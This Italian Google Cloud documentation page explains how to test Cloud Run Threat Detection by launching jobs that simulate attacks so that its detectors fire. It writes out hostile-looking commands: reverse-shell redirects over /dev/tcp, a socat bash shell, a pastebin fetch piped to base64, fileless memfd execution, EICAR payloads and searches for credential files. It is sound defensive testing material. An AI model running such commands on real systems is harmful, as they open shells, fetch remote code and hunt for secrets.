Testare Cloud Run Threat Detection

Questa pagina spiega come verificare che Cloud Run Threat Detection funzioni attivando intenzionalmente i rilevatori e controllando i risultati. Cloud Run Threat Detection è un servizio integrato di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai servizi e ai job Cloud Run, assicurati che il servizio Cloud Run Threat Detection sia abilitato in Security Command Center. Alcuni rilevatori sono disattivati per impostazione predefinita. Per testare questi rilevatori, devi prima attivarli.

Imposta le variabili di ambiente

Per testare i rilevatori, utilizza la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Utilizzerai queste variabili per testare tutti i rilevatori.

  1. Vai alla consoleGoogle Cloud .

    Vai alla console Google Cloud

  2. Seleziona il progetto che contiene il job Cloud Run che vuoi utilizzare per il test.

  3. Fai clic su Attiva Cloud Shell.

  4. In Cloud Shell, imposta le variabili di ambiente:

    1. Imposta il progetto e la regione in cui creerai i job di test.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Una volta impostate le variabili di ambiente, puoi continuare a seguire le istruzioni per testare i rilevatori.

Comando e controllo: strumento di steganografia rilevato

Per attivare un risultato Command and Control: Steganography Tool Detected (anteprima), esegui un file binario con funzionalità di manipolazione dei file coerenti con gli strumenti di steganografia all'interno di un container. Questo esempio copia /bin/ls e lo rinomina in steghide.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Command and Control: Steganography Tool Detected.

Accesso con credenziali: trova Google Cloud credenziali

Per attivare un risultato Credential Access: Find Google Cloud Credentials, esegui un binario in grado di cercare i contenuti dei file all'interno di un container. Questo esempio copia /bin/ls, lo rinomina in grep e lo esegue con argomenti sospetti.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Credential Access: Find Google Cloud Credentials.

Accesso alle credenziali: ricognizione chiave GPG

Per attivare un risultato Credential Access: GPG Key Reconnaissance, esegui uno strumento di ricerca con argomenti sospetti.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Credential Access: GPG Key Reconnaissance.

Accesso con credenziali: cerca chiavi private o password

Per attivare un risultato Credential Access: Search Private Keys or Passwords, esegui uno strumento di ricerca con argomenti sospetti.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Credential Access: Search Private Keys or Passwords.

Evasione della difesa: riga di comando file ELF Base64

Per attivare un risultato Defense Evasion: Base64 ELF File Command Line, esegui base64 con argomenti di intestazione ELF codificati.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test dovrebbe creare due risultati Defense Evasion: Base64 ELF File Command Line.

Evasione della difesa: script Python con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Python Script Executed, esegui echo con un comando Python codificato.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Python Script Executed.

Evasione della difesa: script shell con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Shell Script Executed, esegui echo con un comando shell codificato.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Shell Script Executed.

Evasione della difesa: avvia strumento di compilazione codice nel container

Per attivare un risultato Defense Evasion: Launch Code Compiler Tool In Container (Anteprima), esegui uno strumento del compilatore.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool In Container.

Esecuzione: file binario aggiuntivo dannoso eseguito

Per attivare un'esecuzione: è stato aggiunto il risultato File binario aggiuntivo dannoso eseguito. Aggiungi un file binario dannoso (EICAR) al contenitore ed eseguilo.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Esecuzione: file binario aggiuntivo dannoso eseguito.

Esecuzione: libreria dannosa aggiuntiva caricata

Per attivare un'esecuzione: è stato aggiunto il risultato Libreria dannosa caricata, aggiungi una libreria dannosa nel tuo container e caricala. Questo esempio aggiorna il file /tmp/test_mal_lib con una libreria dannosa simulata e poi lo carica utilizzando mmap. Il caricamento della libreria di un file esistente è imprevisto perché il file non si trovava nell'immagine container originale e la libreria è un file di test EICAR, classificato come dannoso da threat intelligence.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Esecuzione: libreria dannosa aggiuntiva caricata.

Esecuzione: container escape

Per attivare un'esecuzione: risultato di tipo Container Escape, esegui uno strumento che simula il comportamento di container escape.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Esecuzione: escape dal container.

Esecuzione: esecuzione senza file in /memfd:

Per attivare un risultato Execution: Fileless Execution in /memfd:, esegui un processo dal file system in memoria /memfd: utilizzando Python.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Execution: Fileless Execution in /memfd:.

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Per attivare un'esecuzione: risultato Esecuzione dello strumento di attacco Kubernetes, esegui un programma che corrisponda a uno strumento di attacco noto.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Esecuzione: strumento di attacco Kubernetes.

Esecuzione: esecuzione dello strumento di ricognizione locale

Per attivare un risultato Execution: Local Reconnaissance Tool Execution, esegui un programma che corrisponda a uno strumento di ricognizione.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato di esecuzione: esecuzione dello strumento di ricognizione locale.

Esecuzione: File binario dannoso modificato eseguito

Per attivare un risultato Esecuzione: file binario dannoso modificato eseguito, modifica un file binario in modo che corrisponda a una firma dannosa nota (EICAR).

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Esecuzione: File binario dannoso modificato eseguito.

Esecuzione: libreria dannosa modificata caricata

Per attivare un risultato Esecuzione: libreria dannosa modificata caricata, modifica un file esistente con una libreria dannosa nel tuo container e caricalo. Questo esempio aggiorna il file /etc/issue con una libreria dannosa simulata e poi lo carica utilizzando mmap. Il caricamento della libreria di un file esistente è imprevisto perché la libreria è un file di test EICAR, classificato come dannoso da Threat Intelligence.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Esecuzione: libreria dannosa modificata caricata.

Esecuzione: Esecuzione del codice remoto Netcat nel container

Per attivare un evento Execution: Netcat Remote Code Execution In Container, esegui netcat con argomenti sospetti.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Execution: Netcat Remote Code Execution In Container.

Esecuzione: Possibile esecuzione di comandi arbitrari tramite CUPS (CVE-2024-47076)

Per attivare un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), esegui uno script che simula l'exploit.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).

Esecuzione: Possibile esecuzione di comando remoto rilevata

Per attivare un risultato Execution: Possible Remote Command Execution Detected (anteprima), esegui un comando che tenta una connessione remota.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Execution: Possible Remote Command Execution Detected.

Esecuzione: Esecuzione del programma con ambiente proxy HTTP non consentito

Per attivare un risultato Execution: Program Run with Disallowed HTTP Proxy Env, esegui un programma con una variabile di ambiente proxy errata.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Execution: Program Run with Disallowed HTTP Proxy Env.

Esecuzione: rilevata reverse shell Socat

Per attivare un risultato Execution: Socat Reverse Shell Detected, stabilisci una shell inversa utilizzando l'utilità socat.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Execution: Socat Reverse Shell Detected.

Esecuzione: Oggetto condiviso OpenSSL sospetto caricato

Per attivare un risultato Execution: Suspicious OpenSSL Shared Object Loaded, esegui openssl con una libreria sospetta.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Execution: Suspicious OpenSSL Shared Object Loaded.

Esfiltrazione: avvia strumenti di copia file remoti nel container

Per attivare un risultato Exfiltration: Launch Remote File Copy Tools In Container, esegui uno strumento di copia remota.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Exfiltration: Launch Remote File Copy Tools In Container.

Impatto: Rileva cmdline dannose

Per attivare un risultato Impact: Detect Malicious Cmdlines (Anteprima), esegui un nome di comando sospetto (IPFS).

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Impact: Detect Malicious Cmdlines.

Impatto: Rimuovi dati collettivi dal disco

Per attivare un risultato Impact: Remove Bulk Data From Disk, esegui uno strumento come shred.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Impact: Remove Bulk Data From Disk.

Impatto: attività sospetta di estrazione di criptovalute mediante il protocollo Stratum

Per attivare un risultato Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, esegui un file binario con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

Script dannoso eseguito

Per attivare un risultato Script dannoso eseguito, esegui uno script che simula un comportamento dannoso.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato di tipo Script dannoso eseguito.

Rilevato URL dannoso

Per attivare un risultato Rilevato URL dannoso, esegui un file binario e fornisci un URL dannoso come argomento.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test attiva un risultato URL dannoso osservato.

Escalation dei privilegi: abuso di sudo per l'escalation dei privilegi (CVE-2019-14287)

Per attivare un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), esegui il file binario sudo con il parametro -u#-1.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).

Escalation dei privilegi: potenziale escalation dei privilegi sudo (CVE-2021-3156)

Per attivare un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), esegui il file binario sudo con il parametro -s e un parametro che termina con ".

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).

Escalation dei privilegi: vulnerabilità di escalation dei privilegi locali di Polkit (CVE-2021-4034)

Per attivare un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), esegui un binario pkexec con la variabile di ambiente GCONV_PATH impostata come utente non root.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).

Shell inversa

Per attivare un risultato reverse shell, avvia un file binario con il reindirizzamento stdin a un socket connesso tramite TCP.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Reverse Shell.

Esecuzione: immagine Docker per il cryptomining

Per attivare un'esecuzione: risultato di cryptomining per immagini Docker, esegui il deployment di un container utilizzando un nome di immagine Docker associato a un software di cryptomining.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Esecuzione: immagine Docker per il cryptomining. Tieni presente che il deployment del job non andrà a buon fine perché l'immagine non esiste, ma il risultato verrà comunque generato.

Impatto: comandi di cryptomining

Per attivare un risultato Impact: Cryptomining Commands, esegui un comando con argomenti simili a software di cryptomining noti.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Questa procedura di test crea un risultato Impact: Cryptomining Commands.

Escalation dei privilegi: Default Compute Engine Service Account SetIAMPolicy

Per attivare un risultato Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, esegui un comando che utilizza il account di servizio Compute Engine predefinito per impostare il criterio IAM di un servizio Cloud Run.

Crea ed esegui il job Cloud Run:

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
